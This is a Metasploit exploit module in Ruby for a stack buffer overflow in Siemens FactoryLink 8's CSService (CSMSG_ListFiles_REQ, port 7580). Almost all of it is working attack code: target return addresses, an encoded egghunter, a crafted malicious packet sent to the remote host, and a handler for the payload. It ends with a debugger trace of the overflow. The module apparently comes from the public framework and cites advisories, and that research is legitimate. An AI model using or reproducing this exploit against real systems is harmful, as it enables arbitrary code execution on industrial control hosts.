158 lines
5.3 KiB
Ruby
158 lines
5.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Egghunter
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def initialize(info={})
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super(update_info(info,
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'Name' => "Siemens FactoryLink 8 CSService Logging Path Param Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability found on Siemens FactoryLink 8. The
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vulnerability occurs when CSService.exe processes a CSMSG_ListFiles_REQ message,
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the user-supplied path first gets converted to ANSI format (CodePage 0), and then
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gets handled by a logging routine where proper bounds checking is not done,
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therefore causing a stack-based buffer overflow, and results arbitrary code execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Luigi Auriemma <aluigi[at]autistici.org>', #Initial discovery, poc
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'sinn3r', #Metasploit (thx hal)
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],
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'References' =>
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[
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['OSVDB', '72812'],
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['URL', 'http://aluigi.altervista.org/adv/factorylink_1-adv.txt'],
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['URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-091-01.pdf']
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
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'StackAdjustment' => -3500,
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'EncoderOptions' => {'BufferRegister'=>'ECX'},
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => "process",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows XP SP3',
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{
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'Offset' => 965, #Offset to overwrite RETN
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'Ret' => 0x7e4456f7, #JMP ESP in USER32.dll
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'Max' => 1400, #Max buffer used
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}
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],
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[
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'Windows Server 2003 SP0',
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{
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'Offset' => 965,
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'Ret' => 0x77d20738, #JMP ESP in USER32.dll
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'Max' => 1400,
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "Mar 25 2011"))
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register_options(
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[
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Opt::RPORT(7580)
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], self.class)
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end
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#User input will get converted back to ANSCI with WideCharToMultiByte before vsprintf
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def to_unicode(text)
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output = ''
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(text.length).times do |i|
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output << text[i,1] << "\x00"
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end
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return output
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end
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def exploit
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#Modify payload
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#XP = Align EAX 0x3a bytes. Win2k3SP0 = 0x0a bytes
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p = "\x57" #PUSH EDI
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p << "\x59" #POP ECX
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p << ((target.name =~ /server 2003/i) ? "\xb0\x0a" : "\xb0\x3a")
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p << "\x30\xc1" #XOR CL,AL
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p << payload.encoded
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#Meterpreter tends to fail because of it being mangled. We use an egghunter
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#instead to ensure the payload's integrity.
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egg_options =
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{
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:checksum => true,
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:eggtag => "W00T",
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}
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egghunter, p = generate_egghunter(p, payload_badchars, egg_options)
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#x86/alpha_mixed egghunter
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alpha_encoder = framework.encoders.create("x86/alpha_mixed")
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alpha_encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ESP'} )
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egghunter = alpha_encoder.encode(egghunter, nil, nil, platform)
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sploit = ''
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sploit << make_nops(4)
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sploit << p
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sploit << rand_text_alpha(965-sploit.length)
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sploit << [target.ret].pack('V*')
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sploit << egghunter
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sploit << rand_text_alpha(target['Max']-sploit.length)
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sploit = to_unicode(sploit)
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pkt = "\x00\x00\x4c\x45\x4e\x00\x40\x0b\x00\x00\x00\x00\x00\x00\x99\x00\x00\x00\x04\x00"
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pkt << "\x00\x00\x01\x07\x00\x00\x0b\x31\x99\x62\x72\x6b\x01\x00\x00\x00\x02\x04\x00\x00"
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pkt << "\x00\x04\x00\x00\x00\x01\x07\x00\x00\x0b\x19\x99\x00\x00\x00\x06\x00\x00\x00\x03"
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pkt << "\x06\x00\x00\x0a\xf6\x11\x22\x33\x44"
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pkt << sploit
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pkt << "\x00\x00\x06\x00\x00\x00\x06\x11\x22\x33\x44\x00\x00\x04\x00\x00\x00\x04\x00\x00"
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pkt << "\x00\x01\x99\x99\x99"
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print_status("Sending malicious request to remote host...")
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connect
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sock.put(pkt)
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handler
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select(nil, nil, nil, 6)
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disconnect
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end
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end
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=begin
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0:000> g
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call vsprintf. Destination=0x0012ead0 Format=0x0043b92c Args=0x0012eedc
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eax=0012eedc ebx=7c809a99 ecx=0043b92c edx=0012ead0 esi=0012eee8 edi=00000002
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eip=0040b908 esp=0012eac4 ebp=0012fabc iopl=0 nv up ei pl nz na po nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
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CSService+0xb908:
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0040b908 ff15249b4400 call dword ptr [CSService+0x49b24 (00449b24)] ds:0023:00449b24={msvcrt!vsprintf (77c3fe49)}
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0:000> dc 0012ead0
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0012ead0 65535343 63697672 43203a65 47534d53 CSService: CSMSG
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0012eae0 73694c5f 6c694674 525f7365 2d205145 _ListFiles_REQ -
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0012eaf0 6f685320 72694477 2c303d73 6c694620 ShowDirs=0, Fil
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0012eb00 3d726574 6150202c 613d6874 61616161 ter=, Path=aaaaa
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0012eb10 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
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0012eb20 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
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0012eb30 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
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0012eb40 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
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=end
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